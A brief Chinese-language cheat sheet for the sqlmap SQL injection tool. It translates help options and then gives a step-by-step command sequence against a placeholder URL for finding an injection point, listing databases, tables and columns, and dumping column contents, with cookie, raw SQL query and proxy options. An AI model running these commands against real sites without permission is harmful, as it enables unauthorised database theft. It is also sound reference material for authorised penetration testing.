sqlmap可以用来检测和利用sql注入点。
Options(选项):
-h, --help 显示基本帮助信息
-hh 显示高级帮助信息
--version 显示版本号
-v VERBOSE 详细级别：0-6（默认为1）.设置输出信息的详细程度
0:只显示追踪栈 ,错误以及重要信息。1:还显示信息和警告。2:显示debug消息。3:显示注入payload。
4:显示HTTP请求。5:显示HTTP响应头。6:显示HTTP响应内容
Target(目标)：
以下至少需要设置其中一个选项来提供给目标URL
-d DIRECT 直接连接到数据库的连接字符串
-u URL, --url=URL 目标URL (e.g. "http://www.site.com/vuln.php?id=1")
-l LOGFILE 从Burp或WebScarab代理的日志中解析目标
-x SITEMAPURL 从远程站点地图文件（.xml）解析目标（s）
-m BULKFILE 扫描文本文件中给出的多个目标
-r REQUESTFILE 从文件加载HTTP请求
-g GOOGLEDORK 处理Google dork的结果作为目标URL
-C CONFIGILE 从INI配置文件中加载选项
检查注入点
sqlmap -u "http://ooxx.com/a.php?id=1"
列数据库信息
sqlmap -u "http://ooxx.com/a.php?id=1" --dbs
指定数据库名列出所有表
sqlmap -u "http://ooxx.com/a.php?id=1" -D dbsname --tables
指定数据库名表名列出所有字段
sqlmap -u "http://ooxx.com/a.php?id=1" -D dbsname -T tablename --columns
指定数据库名表名字段dump出指定字段
sqlmap -u "http://ooxx.com/a.php?id=1" -D dbsname -T tablename -C columnname --dump
cookie 注入
--cookie=COOKIE 在需要登录的地方，需要登录后的cookie
执行指定的 SQL 语句
--sql-query=QUERY
代理注入
--proxy="http://127.0.0.1:8087"